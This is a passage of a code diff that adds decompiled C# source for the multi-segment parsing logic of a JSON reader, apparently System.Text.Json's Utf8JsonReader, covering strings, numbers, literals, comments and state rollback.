JsonTokenType.StartObject; + _bytePositionInLine = bytePositionInLine; + _lineNumber = lineNumber; + _totalConsumed = totalConsumed; + _currentPosition = currentPosition; + } + } + else if (_tokenType != JsonTokenType.StartArray) + { + flag = ((_tokenType != JsonTokenType.PropertyName) ? ConsumeNextTokenOrRollbackMultiSegment(b) : ConsumeValueMultiSegment(b)); + } + else + { + if (b == 93) + { + EndArray(); + goto IL_0171; + } + flag = ConsumeValueMultiSegment(b); + } + } + else + { + flag = ReadFirstTokenMultiSegment(b); + } + } + goto IL_0173; + IL_0173: + return flag; + IL_0171: + flag = true; + goto IL_0173; + } + + private bool ValidateStateAtEndOfData() + { + if (_bitStack.CurrentDepth != 0) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ZeroDepthAtEnd, 0); + } + if (_readerOptions.CommentHandling == JsonCommentHandling.Allow && _tokenType == JsonTokenType.Comment) + { + return false; + } + if (_tokenType != JsonTokenType.EndArray && _tokenType != JsonTokenType.EndObject) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.InvalidEndOfJsonNonPrimitive, 0); + } + return true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private bool HasMoreDataMultiSegment() + { + if (_consumed >= (uint)_buffer.Length) + { + if (_isNotPrimitive && IsLastSpan && !ValidateStateAtEndOfData()) + { + return false; + } + if (!GetNextSpan()) + { + if (_isNotPrimitive && IsLastSpan) + { + ValidateStateAtEndOfData(); + } + return false; + } + } + return true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private bool HasMoreDataMultiSegment(ExceptionResource resource) + { + if (_consumed >= (uint)_buffer.Length) + { + if (IsLastSpan) + { + ThrowHelper.ThrowJsonReaderException(ref this, resource, 0); + } + if (!GetNextSpan()) + { + if (IsLastSpan) + { + ThrowHelper.ThrowJsonReaderException(ref this, resource, 0); + } + return false; + } + } + return true; + } + + private bool GetNextSpan() + { + ReadOnlyMemory memory; + while (true) + { + SequencePosition currentPosition = _currentPosition; + _currentPosition = _nextPosition; + if (!_sequence.TryGet(ref _nextPosition, out memory)) + { + _currentPosition = currentPosition; + _isLastSegment = true; + return false; + } + if (memory.Length != 0) + { + break; + } + _currentPosition = currentPosition; + } + if (_isFinalBlock) + { + _isLastSegment = !_sequence.TryGet(ref _nextPosition, out var _, advance: false); + } + _buffer = memory.Span; + _totalConsumed += _consumed; + _consumed = 0; + return true; + } + + private bool ReadFirstTokenMultiSegment(byte first) + { + switch (first) + { + case 123: + _bitStack.SetFirstBit(); + _tokenType = JsonTokenType.StartObject; + ValueSpan = _buffer.Slice(_consumed, 1); + _consumed++; + _bytePositionInLine++; + _inObject = true; + _isNotPrimitive = true; + break; + case 91: + _bitStack.ResetFirstBit(); + _tokenType = JsonTokenType.StartArray; + ValueSpan = _buffer.Slice(_consumed, 1); + _consumed++; + _bytePositionInLine++; + _isNotPrimitive = true; + break; + default: + if (JsonHelpers.IsDigit(first) || first == 45) + { + if (!TryGetNumberMultiSegment(_buffer.Slice(_consumed), out var consumed)) + { + return false; + } + _tokenType = JsonTokenType.Number; + _consumed += consumed; + return true; + } + if (!ConsumeValueMultiSegment(first)) + { + return false; + } + if (_tokenType == JsonTokenType.StartObject || _tokenType == JsonTokenType.StartArray) + { + _isNotPrimitive = true; + } + break; + } + return true; + } + + private void SkipWhiteSpaceMultiSegment() + { + do + { + SkipWhiteSpace(); + } + while (_consumed >= _buffer.Length && GetNextSpan()); + } + + private bool ConsumeValueMultiSegment(byte marker) + { + while (true) + { + _trailingCommaBeforeComment = false; + switch (marker) + { + case 34: + return ConsumeStringMultiSegment(); + case 123: + StartObject(); + break; + case 91: + StartArray(); + break; + default: + if (JsonHelpers.IsDigit(marker) || marker == 45) + { + return ConsumeNumberMultiSegment(); + } + switch (marker) + { + case 102: + return ConsumeLiteralMultiSegment(JsonConstants.FalseValue, JsonTokenType.False); + case 116: + return ConsumeLiteralMultiSegment(JsonConstants.TrueValue, JsonTokenType.True); + case 110: + return ConsumeLiteralMultiSegment(JsonConstants.NullValue, JsonTokenType.Null); + } + switch (_readerOptions.CommentHandling) + { + case JsonCommentHandling.Allow: + if (marker == 47) + { + SequencePosition currentPosition2 = _currentPosition; + if (!SkipOrConsumeCommentMultiSegmentWithRollback()) + { + _currentPosition = currentPosition2; + return false; + } + return true; + } + break; + default: + { + if (marker != 47) + { + break; + } + SequencePosition currentPosition = _currentPosition; + if (SkipCommentMultiSegment(out var _)) + { + if (_consumed >= (uint)_buffer.Length) + { + if (_isNotPrimitive && IsLastSpan && _tokenType != JsonTokenType.EndArray && _tokenType != JsonTokenType.EndObject) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.InvalidEndOfJsonNonPrimitive, 0); + } + if (!GetNextSpan()) + { + if (_isNotPrimitive && IsLastSpan && _tokenType != JsonTokenType.EndArray && _tokenType != JsonTokenType.EndObject) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.InvalidEndOfJsonNonPrimitive, 0); + } + _currentPosition = currentPosition; + return false; + } + } + marker = _buffer[_consumed]; + if (marker <= 32) + { + SkipWhiteSpaceMultiSegment(); + if (!HasMoreDataMultiSegment()) + { + _currentPosition = currentPosition; + return false; + } + marker = _buffer[_consumed]; + } + goto IL_01a8; + } + _currentPosition = currentPosition; + return false; + } + case JsonCommentHandling.Disallow: + break; + } + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfValueNotFound, marker); + break; + } + break; + IL_01a8: + TokenStartIndex = BytesConsumed; + } + return true; + } + + private bool ConsumeLiteralMultiSegment(ReadOnlySpan literal, JsonTokenType tokenType) + { + ReadOnlySpan span = _buffer.Slice(_consumed); + int consumed = literal.Length; + if (!span.StartsWith(literal)) + { + int consumed2 = _consumed; + if (!CheckLiteralMultiSegment(span, literal, out consumed)) + { + _consumed = consumed2; + return false; + } + } + else + { + ValueSpan = span.Slice(0, literal.Length); + HasValueSequence = false; + } + _tokenType = tokenType; + _consumed += consumed; + _bytePositionInLine += consumed; + return true; + } + + private bool CheckLiteralMultiSegment(ReadOnlySpan span, ReadOnlySpan literal, out int consumed) + { + Span destination = stackalloc byte[5]; + int num = 0; + long totalConsumed = _totalConsumed; + SequencePosition currentPosition = _currentPosition; + if (span.Length >= literal.Length || IsLastSpan) + { + _bytePositionInLine += FindMismatch(span, literal); + int num2 = Math.Min(span.Length, (int)_bytePositionInLine + 1); + span.Slice(0, num2).CopyTo(destination); + num += num2; + } + else if (!literal.StartsWith(span)) + { + _bytePositionInLine += FindMismatch(span, literal); + int num3 = Math.Min(span.Length, (int)_bytePositionInLine + 1); + span.Slice(0, num3).CopyTo(destination); + num += num3; + } + else + { + ReadOnlySpan readOnlySpan = literal.Slice(span.Length); + SequencePosition currentPosition2 = _currentPosition; + int consumed2 = _consumed; + int num4 = literal.Length - readOnlySpan.Length; + while (true) + { + _totalConsumed += num4; + _bytePositionInLine += num4; + if (!GetNextSpan()) + { + _totalConsumed = totalConsumed; + consumed = 0; + _currentPosition = currentPosition; + if (IsLastSpan) + { + break; + } + return false; + } + int num5 = Math.Min(span.Length, destination.Length - num); + span.Slice(0, num5).CopyTo(destination.Slice(num)); + num += num5; + span = _buffer; + if (span.StartsWith(readOnlySpan)) + { + HasValueSequence = true; + SequencePosition start = new SequencePosition(currentPosition2.GetObject(), currentPosition2.GetInteger() + consumed2); + SequencePosition end = new SequencePosition(_currentPosition.GetObject(), _currentPosition.GetInteger() + readOnlySpan.Length); + ValueSequence = _sequence.Slice(start, end); + consumed = readOnlySpan.Length; + return true; + } + if (!readOnlySpan.StartsWith(span)) + { + _bytePositionInLine += FindMismatch(span, readOnlySpan); + num5 = Math.Min(span.Length, (int)_bytePositionInLine + 1); + span.Slice(0, num5).CopyTo(destination.Slice(num)); + num += num5; + break; + } + readOnlySpan = readOnlySpan.Slice(span.Length); + num4 = span.Length; + } + } + _totalConsumed = totalConsumed; + consumed = 0; + _currentPosition = currentPosition; + throw GetInvalidLiteralMultiSegment(destination.Slice(0, num).ToArray()); + } + + private static int FindMismatch(ReadOnlySpan span, ReadOnlySpan literal) + { + int num = Math.Min(span.Length, literal.Length); + int i; + for (i = 0; i < num && span[i] == literal[i]; i++) + { + } + return i; + } + + private JsonException GetInvalidLiteralMultiSegment(ReadOnlySpan span) + { + return ThrowHelper.GetJsonReaderException(ref this, span[0] switch + { + 116 => ExceptionResource.ExpectedTrue, + 102 => ExceptionResource.ExpectedFalse, + _ => ExceptionResource.ExpectedNull, + }, 0, span); + } + + private bool ConsumeNumberMultiSegment() + { + if (!TryGetNumberMultiSegment(_buffer.Slice(_consumed), out var consumed)) + { + return false; + } + _tokenType = JsonTokenType.Number; + _consumed += consumed; + if (_consumed >= (uint)_buffer.Length && _isNotPrimitive) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedEndOfDigitNotFound, _buffer[_consumed - 1]); + } + return true; + } + + private bool ConsumePropertyNameMultiSegment() + { + _trailingCommaBeforeComment = false; + if (!ConsumeStringMultiSegment()) + { + return false; + } + if (!HasMoreDataMultiSegment(ExceptionResource.ExpectedValueAfterPropertyNameNotFound)) + { + return false; + } + byte b = _buffer[_consumed]; + if (b <= 32) + { + SkipWhiteSpaceMultiSegment(); + if (!HasMoreDataMultiSegment(ExceptionResource.ExpectedValueAfterPropertyNameNotFound)) + { + return false; + } + b = _buffer[_consumed]; + } + if (b != 58) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedSeparatorAfterPropertyNameNotFound, b); + } + _consumed++; + _bytePositionInLine++; + _tokenType = JsonTokenType.PropertyName; + return true; + } + + private bool ConsumeStringMultiSegment() + { + ReadOnlySpan readOnlySpan = _buffer.Slice(_consumed + 1); + int num = readOnlySpan.IndexOfQuoteOrAnyControlOrBackSlash(); + if (num >= 0) + { + byte b = readOnlySpan[num]; + if (b == 34) + { + _bytePositionInLine += num + 2; + ValueSpan = readOnlySpan.Slice(0, num); + HasValueSequence = false; + ValueIsEscaped = false; + _tokenType = JsonTokenType.String; + _consumed += num + 2; + return true; + } + return ConsumeStringAndValidateMultiSegment(readOnlySpan, num); + } + if (IsLastSpan) + { + _bytePositionInLine += readOnlySpan.Length + 1; + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.EndOfStringNotFound, 0); + } + return ConsumeStringNextSegment(); + } + + private bool ConsumeStringNextSegment() + { + PartialStateForRollback state = CaptureState(); + HasValueSequence = true; + int num = _buffer.Length - _consumed; + ReadOnlySpan buffer; + int num2; + while (true) + { + if (!GetNextSpan()) + { + if (IsLastSpan) + { + _bytePositionInLine += num; + RollBackState(in state, isError: true); + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.EndOfStringNotFound, 0); + } + RollBackState(in state); + return false; + } + buffer = _buffer; + num2 = buffer.IndexOfQuoteOrAnyControlOrBackSlash(); + if (num2 >= 0) + { + break; + } + _totalConsumed += buffer.Length; + _bytePositionInLine += buffer.Length; + } + byte b = buffer[num2]; + SequencePosition end; + if (b == 34) + { + end = new SequencePosition(_currentPosition.GetObject(), _currentPosition.GetInteger() + num2); + _bytePositionInLine += num + num2 + 1; + _totalConsumed += num; + _consumed = num2 + 1; + ValueIsEscaped = false; + } + else + { + _bytePositionInLine += num + num2; + ValueIsEscaped = true; + bool flag = false; + while (true) + { + if (num2 < buffer.Length) + { + byte b2 = buffer[num2]; + if (b2 == 34) + { + if (!flag) + { + break; + } + flag = false; + } + else if (b2 == 92) + { + flag = !flag; + } + else if (flag) + { + int num3 = JsonConstants.EscapableChars.IndexOf(b2); + if (num3 == -1) + { + RollBackState(in state, isError: true); + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.InvalidCharacterAfterEscapeWithinString, b2); + } + if (b2 == 117) + { + _bytePositionInLine++; + int num4 = 0; + int num5 = num2 + 1; + while (true) + { + if (num5 < buffer.Length) + { + byte nextByte = buffer[num5]; + if (!JsonReaderHelper.IsHexDigit(nextByte)) + { + RollBackState(in state, isError: true); + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.InvalidHexCharacterWithinString, nextByte); + } + num4++; + _bytePositionInLine++; + if (num4 >= 4) + { + break; + } + num5++; + continue; + } + if (!GetNextSpan()) + { + if (IsLastSpan) + { + RollBackState(in state, isError: true); + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.EndOfStringNotFound, 0); + } + RollBackState(in state); + return false; + } + _totalConsumed += buffer.Length; + buffer = _buffer; + num5 = 0; + } + flag = false; + num2 = num5 + 1; + continue; + } + flag = false; + } + else if (b2 < 32) + { + RollBackState(in state, isError: true); + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.InvalidCharacterWithinString, b2); + } + _bytePositionInLine++; + num2++; + continue; + } + if (!GetNextSpan()) + { + if (IsLastSpan) + { + RollBackState(in state, isError: true); + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.EndOfStringNotFound, 0); + } + RollBackState(in state); + return false; + } + _totalConsumed += buffer.Length; + buffer = _buffer; + num2 = 0; + } + _bytePositionInLine++; + _consumed = num2 + 1; + _totalConsumed += num; + end = new SequencePosition(_currentPosition.GetObject(), _currentPosition.GetInteger() + num2); + } + SequencePosition startPosition = state.GetStartPosition(1); + ValueSequence = _sequence.Slice(startPosition, end); + _tokenType = JsonTokenType.String; + return true; + } + + private bool ConsumeStringAndValidateMultiSegment(ReadOnlySpan data, int idx) + { + PartialStateForRollback state = CaptureState(); + HasValueSequence = false; + int num = _buffer.Length - _consumed; + _bytePositionInLine += idx + 1; + bool flag = false; + while (true) + { + if (idx < data.Length) + { + byte b = data[idx]; + switch (b) + { + case 34: + if (flag) + { + flag = false; + goto IL_01b7; + } + if (HasValueSequence) + { + _bytePositionInLine++; + _consumed = idx + 1; + _totalConsumed += num; + SequencePosition end = new SequencePosition(_currentPosition.GetObject(), _currentPosition.GetInteger() + idx); + SequencePosition startPosition = state.GetStartPosition(1); + ValueSequence = _sequence.Slice(startPosition, end); + } + else + { + _bytePositionInLine++; + _consumed += idx + 2; + ValueSpan = data.Slice(0, idx); + } + ValueIsEscaped = true; + _tokenType = JsonTokenType.String; + return true; + case 92: + flag = !flag; + goto IL_01b7; + default: + { + if (flag) + { + int num2 = JsonConstants.EscapableChars.IndexOf(b); + if (num2 == -1) + { + RollBackState(in state, isError: true); + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.InvalidCharacterAfterEscapeWithinString, b); + } + if (b == 117) + { + _bytePositionInLine++; + int num3 = 0; + int num4 = idx + 1; + while (true) + { + if (num4 < data.Length) + { + byte nextByte = data[num4]; + if (!JsonReaderHelper.IsHexDigit(nextByte)) + { + RollBackState(in state, isError: true); + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.InvalidHexCharacterWithinString, nextByte); + } + num3++; + _bytePositionInLine++; + if (num3 >= 4) + { + break; + } + num4++; + continue; + } + if (!GetNextSpan()) + { + if (IsLastSpan) + { + RollBackState(in state, isError: true); + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.EndOfStringNotFound, 0); + } + RollBackState(in state); + return false; + } + if (HasValueSequence) + { + _totalConsumed += data.Length; + } + data = _buffer; + num4 = 0; + HasValueSequence = true; + } + flag = false; + idx = num4 + 1; + break; + } + flag = false; + } + else if (b < 32) + { + RollBackState(in state, isError: true); + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.InvalidCharacterWithinString, b); + } + goto IL_01b7; + } + IL_01b7: + _bytePositionInLine++; + idx++; + break; + } + } + else + { + if (!GetNextSpan()) + { + break; + } + if (HasValueSequence) + { + _totalConsumed += data.Length; + } + data = _buffer; + idx = 0; + HasValueSequence = true; + } + } + if (IsLastSpan) + { + RollBackState(in state, isError: true); + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.EndOfStringNotFound, 0); + } + RollBackState(in state); + return false; + } + + private void RollBackState(scoped in PartialStateForRollback state, bool isError = false) + { + _totalConsumed = state._prevTotalConsumed; + if (!isError) + { + _bytePositionInLine = state._prevBytePositionInLine; + } + _consumed = state._prevConsumed; + _currentPosition = state._prevCurrentPosition; + } + + private bool TryGetNumberMultiSegment(ReadOnlySpan data, out int consumed) + { + PartialStateForRollback rollBackState = CaptureState(); + consumed = 0; + int i = 0; + ConsumeNumberResult consumeNumberResult = ConsumeNegativeSignMultiSegment(ref data, ref i, in rollBackState); + if (consumeNumberResult == ConsumeNumberResult.NeedMoreData) + { + RollBackState(in rollBackState); + return false; + } + byte b = data[i]; + if (b == 48) + { + ConsumeNumberResult consumeNumberResult2 = ConsumeZeroMultiSegment(ref data, ref i, in rollBackState); + if (consumeNumberResult2 == ConsumeNumberResult.NeedMoreData) + { + RollBackState(in rollBackState); + return false; + } + if (consumeNumberResult2 != ConsumeNumberResult.Success) + { + b = data[i]; + goto IL_00bf; + } + } + else + { + ConsumeNumberResult consumeNumberResult3 = ConsumeIntegerDigitsMultiSegment(ref data, ref i); + if (consumeNumberResult3 == ConsumeNumberResult.NeedMoreData) + { + RollBackState(in rollBackState); + return false; + } + if (consumeNumberResult3 != ConsumeNumberResult.Success) + { + b = data[i]; + if (b != 46 && b != 69 && b != 101) + { + RollBackState(in rollBackState, isError: true); + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedEndOfDigitNotFound, b); + } + goto IL_00bf; + } + } + goto IL_01b1; + IL_00bf: + if (b == 46) + { + i++; + _bytePositionInLine++; + ConsumeNumberResult consumeNumberResult4 = ConsumeDecimalDigitsMultiSegment(ref data, ref i, in rollBackState); + if (consumeNumberResult4 == ConsumeNumberResult.NeedMoreData) + { + RollBackState(in rollBackState); + return false; + } + if (consumeNumberResult4 == ConsumeNumberResult.Success) + { + goto IL_01b1; + } + b = data[i]; + if (b != 69 && b != 101) + { + RollBackState(in rollBackState, isError: true); + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedNextDigitEValueNotFound, b); + } + } + i++; + _bytePositionInLine++; + consumeNumberResult = ConsumeSignMultiSegment(ref data, ref i, in rollBackState); + if (consumeNumberResult == ConsumeNumberResult.NeedMoreData) + { + RollBackState(in rollBackState); + return false; + } + i++; + _bytePositionInLine++; + switch (ConsumeIntegerDigitsMultiSegment(ref data, ref i)) + { + case ConsumeNumberResult.NeedMoreData: + RollBackState(in rollBackState); + return false; + default: + RollBackState(in rollBackState, isError: true); + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedEndOfDigitNotFound, data[i]); + break; + case ConsumeNumberResult.Success: + break; + } + goto IL_01b1; + IL_01b1: + if (HasValueSequence) + { + SequencePosition startPosition = rollBackState.GetStartPosition(); + SequencePosition end = new SequencePosition(_currentPosition.GetObject(), _currentPosition.GetInteger() + i); + ValueSequence = _sequence.Slice(startPosition, end); + consumed = i; + } + else + { + ValueSpan = data.Slice(0, i); + consumed = i; + } + return true; + } + + private ConsumeNumberResult ConsumeNegativeSignMultiSegment(ref ReadOnlySpan data, scoped ref int i, scoped in PartialStateForRollback rollBackState) + { + byte b = data[i]; + if (b == 45) + { + i++; + _bytePositionInLine++; + if (i >= data.Length) + { + if (IsLastSpan) + { + RollBackState(in rollBackState, isError: true); + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.RequiredDigitNotFoundEndOfData, 0); + } + if (!GetNextSpan()) + { + if (IsLastSpan) + { + RollBackState(in rollBackState, isError: true); + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.RequiredDigitNotFoundEndOfData, 0); + } + return ConsumeNumberResult.NeedMoreData; + } + _totalConsumed += i; + HasValueSequence = true; + i = 0; + data = _buffer; + } + b = data[i]; + if (!JsonHelpers.IsDigit(b)) + { + RollBackState(in rollBackState, isError: true); + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.RequiredDigitNotFoundAfterSign, b); + } + } + return ConsumeNumberResult.OperationIncomplete; + } + + private ConsumeNumberResult ConsumeZeroMultiSegment(ref ReadOnlySpan data, scoped ref int i, scoped in PartialStateForRollback rollBackState) + { + i++; + _bytePositionInLine++; + byte value; + if (i < data.Length) + { + value = data[i]; + if (JsonConstants.Delimiters.IndexOf(value) >= 0) + { + return ConsumeNumberResult.Success; + } + } + else + { + if (IsLastSpan) + { + return ConsumeNumberResult.Success; + } + if (!GetNextSpan()) + { + if (IsLastSpan) + { + return ConsumeNumberResult.Success; + } + return ConsumeNumberResult.NeedMoreData; + } + _totalConsumed += i; + HasValueSequence = true; + i = 0; + data = _buffer; + value = data[i]; + if (JsonConstants.Delimiters.IndexOf(value) >= 0) + { + return ConsumeNumberResult.Success; + } + } + value = data[i]; + if (value != 46 && value != 69 && value != 101) + { + RollBackState(in rollBackState, isError: true); + ThrowHelper.ThrowJsonReaderException(ref this, JsonHelpers.IsInRangeInclusive(value, 48, 57) ? ExceptionResource.InvalidLeadingZeroInNumber : ExceptionResource.ExpectedEndOfDigitNotFound, value); + } + return ConsumeNumberResult.OperationIncomplete; + } + + private ConsumeNumberResult ConsumeIntegerDigitsMultiSegment(ref ReadOnlySpan data, scoped ref int i) + { + byte value = 0; + int num = 0; + while (i < data.Length) + { + value = data[i]; + if (!JsonHelpers.IsDigit(value)) + { + break; + } + num++; + i++; + } + if (i >= data.Length) + { + if (IsLastSpan) + { + _bytePositionInLine += num; + return ConsumeNumberResult.Success; + } + while (true) + { + if (!GetNextSpan()) + { + if (IsLastSpan) + { + _bytePositionInLine += num; + return ConsumeNumberResult.Success; + } + return ConsumeNumberResult.NeedMoreData; + } + _totalConsumed += i; + _bytePositionInLine += num; + num = 0; + HasValueSequence = true; + i = 0; + data = _buffer; + while (i < data.Length) + { + value = data[i]; + if (!JsonHelpers.IsDigit(value)) + { + break; + } + i++; + } + _bytePositionInLine += i; + if (i < data.Length) + { + break; + } + if (IsLastSpan) + { + return ConsumeNumberResult.Success; + } + } + } + else + { + _bytePositionInLine += num; + } + if (JsonConstants.Delimiters.IndexOf(value) >= 0) + { + return ConsumeNumberResult.Success; + } + return ConsumeNumberResult.OperationIncomplete; + } + + private ConsumeNumberResult ConsumeDecimalDigitsMultiSegment(ref ReadOnlySpan data, scoped ref int i, scoped in PartialStateForRollback rollBackState) + { + if (i >= data.Length) + { + if (IsLastSpan) + { + RollBackState(in rollBackState, isError: true); + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.RequiredDigitNotFoundEndOfData, 0); + } + if (!GetNextSpan()) + { + if (IsLastSpan) + { + RollBackState(in rollBackState, isError: true); + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.RequiredDigitNotFoundEndOfData, 0); + } + return ConsumeNumberResult.NeedMoreData; + } + _totalConsumed += i; + HasValueSequence = true; + i = 0; + data = _buffer; + } + byte b = data[i]; + if (!JsonHelpers.IsDigit(b)) + { + RollBackState(in rollBackState, isError: true); + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.RequiredDigitNotFoundAfterDecimal, b); + } + i++; + _bytePositionInLine++; + return ConsumeIntegerDigitsMultiSegment(ref data, ref i); + } + + private ConsumeNumberResult ConsumeSignMultiSegment(ref ReadOnlySpan data, scoped ref int i, scoped in PartialStateForRollback rollBackState) + { + if (i >= data.Length) + { + if (IsLastSpan) + { + RollBackState(in rollBackState, isError: true); + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.RequiredDigitNotFoundEndOfData, 0); + } + if (!GetNextSpan()) + { + if (IsLastSpan) + { + RollBackState(in rollBackState, isError: true); + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.RequiredDigitNotFoundEndOfData, 0); + } + return ConsumeNumberResult.NeedMoreData; + } + _totalConsumed += i; + HasValueSequence = true; + i = 0; + data = _buffer; + } + byte b = data[i]; + if (b == 43 || b == 45) + { + i++; + _bytePositionInLine++; + if (i >= data.Length) + { + if (IsLastSpan) + { + RollBackState(in rollBackState, isError: true); + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.RequiredDigitNotFoundEndOfData, 0); + } + if (!GetNextSpan()) + { + if (IsLastSpan) + { + RollBackState(in rollBackState, isError: true); + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.RequiredDigitNotFoundEndOfData, 0); + } + return ConsumeNumberResult.NeedMoreData; + } + _totalConsumed += i; + HasValueSequence = true; + i = 0; + data = _buffer; + } + b = data[i]; + } + if (!JsonHelpers.IsDigit(b)) + { + RollBackState(in rollBackState, isError: true); + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.RequiredDigitNotFoundAfterSign, b); + } + return ConsumeNumberResult.OperationIncomplete; + } + + private bool ConsumeNextTokenOrRollbackMultiSegment(byte marker) + { + long totalConsumed = _totalConsumed; + int consumed = _consumed; + long bytePositionInLine = _bytePositionInLine; + long lineNumber = _lineNumber; + JsonTokenType tokenType = _tokenType; + SequencePosition currentPosition = _currentPosition; + bool trailingCommaBeforeComment = _trailingCommaBeforeComment; + switch (ConsumeNextTokenMultiSegment(marker)) + { + case ConsumeTokenResult.Success: + return true; + case ConsumeTokenResult.NotEnoughDataRollBackState: + _consumed = consumed; + _tokenType = tokenType; + _bytePositionInLine = bytePositionInLine; + _lineNumber = lineNumber; + _totalConsumed = totalConsumed; + _currentPosition = currentPosition; + _trailingCommaBeforeComment = trailingCommaBeforeComment; + break; + } + return false; + } + + private ConsumeTokenResult ConsumeNextTokenMultiSegment(byte marker) + { + if (_readerOptions.CommentHandling != JsonCommentHandling.Disallow) + { + if (_readerOptions.CommentHandling != JsonCommentHandling.Allow) + { + return ConsumeNextTokenUntilAfterAllCommentsAreSkippedMultiSegment(marker); + } + if (marker == 47) + { + if (!SkipOrConsumeCommentMultiSegmentWithRollback()) + { + return ConsumeTokenResult.NotEnoughDataRollBackState; + } + return ConsumeTokenResult.Success; + } + if (_tokenType == JsonTokenType.Comment) + { + return ConsumeNextTokenFromLastNonCommentTokenMultiSegment(); + } + } + if (_bitStack.CurrentDepth == 0) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedEndAfterSingleJson, marker); + } + switch (marker) + { + case 44: + { + _consumed++; + _bytePositionInLine++; + if (_consumed >= (uint)_buffer.Length) + { + if (IsLastSpan) + { + _consumed--; + _bytePositionInLine--; + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfPropertyOrValueNotFound, 0); + } + if (!GetNextSpan()) + { + if (IsLastSpan) + { + _consumed--; + _bytePositionInLine--; + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfPropertyOrValueNotFound, 0); + } + return ConsumeTokenResult.NotEnoughDataRollBackState; + } + } + byte b = _buffer[_consumed]; + if (b <= 32) + { + SkipWhiteSpaceMultiSegment(); + if (!HasMoreDataMultiSegment(ExceptionResource.ExpectedStartOfPropertyOrValueNotFound)) + { + return ConsumeTokenResult.NotEnoughDataRollBackState; + } + b = _buffer[_consumed]; + } + TokenStartIndex = BytesConsumed; + if (_readerOptions.CommentHandling == JsonCommentHandling.Allow && b == 47) + { + _trailingCommaBeforeComment = true; + if (!SkipOrConsumeCommentMultiSegmentWithRollback()) + { + return ConsumeTokenResult.NotEnoughDataRollBackState; + } + return ConsumeTokenResult.Success; + } + if (_inObject) + { + if (b != 34) + { + if (b == 125) + { + if (_readerOptions.AllowTrailingCommas) + { + EndObject(); + return ConsumeTokenResult.Success; + } + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.TrailingCommaNotAllowedBeforeObjectEnd, 0); + } + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfPropertyNotFound, b); + } + if (!ConsumePropertyNameMultiSegment()) + { + return ConsumeTokenResult.NotEnoughDataRollBackState; + } + return ConsumeTokenResult.Success; + } + if (b == 93) + { + if (_readerOptions.AllowTrailingCommas) + { + EndArray(); + return ConsumeTokenResult.Success; + } + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.TrailingCommaNotAllowedBeforeArrayEnd, 0); + } + if (!ConsumeValueMultiSegment(b)) + { + return ConsumeTokenResult.NotEnoughDataRollBackState; + } + return ConsumeTokenResult.Success; + } + case 125: + EndObject(); + break; + case 93: + EndArray(); + break; + default: + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.FoundInvalidCharacter, marker); + break; + } + return ConsumeTokenResult.Success; + } + + private ConsumeTokenResult ConsumeNextTokenFromLastNonCommentTokenMultiSegment() + { + if (JsonReaderHelper.IsTokenTypePrimitive(_previousTokenType)) + { + _tokenType = (_inObject ? JsonTokenType.StartObject : JsonTokenType.StartArray); + } + else + { + _tokenType = _previousTokenType; + } + if (HasMoreDataMultiSegment()) + { + byte b = _buffer[_consumed]; + if (b <= 32) + { + SkipWhiteSpaceMultiSegment(); + if (!HasMoreDataMultiSegment()) + { + goto IL_0393; + } + b = _buffer[_consumed]; + } + if (_bitStack.CurrentDepth == 0 && _tokenType != JsonTokenType.None) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedEndAfterSingleJson, b); + } + TokenStartIndex = BytesConsumed; + if (b != 44) + { + if (b == 125) + { + EndObject(); + } + else + { + if (b != 93) + { + if (_tokenType == JsonTokenType.None) + { + if (ReadFirstTokenMultiSegment(b)) + { + goto IL_0391; + } + } + else if (_tokenType == JsonTokenType.StartObject) + { + if (b != 34) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfPropertyNotFound, b); + } + long totalConsumed = _totalConsumed; + int consumed = _consumed; + long bytePositionInLine = _bytePositionInLine; + long lineNumber = _lineNumber; + if (ConsumePropertyNameMultiSegment()) + { + goto IL_0391; + } + _consumed = consumed; + _tokenType = JsonTokenType.StartObject; + _bytePositionInLine = bytePositionInLine; + _lineNumber = lineNumber; + _totalConsumed = 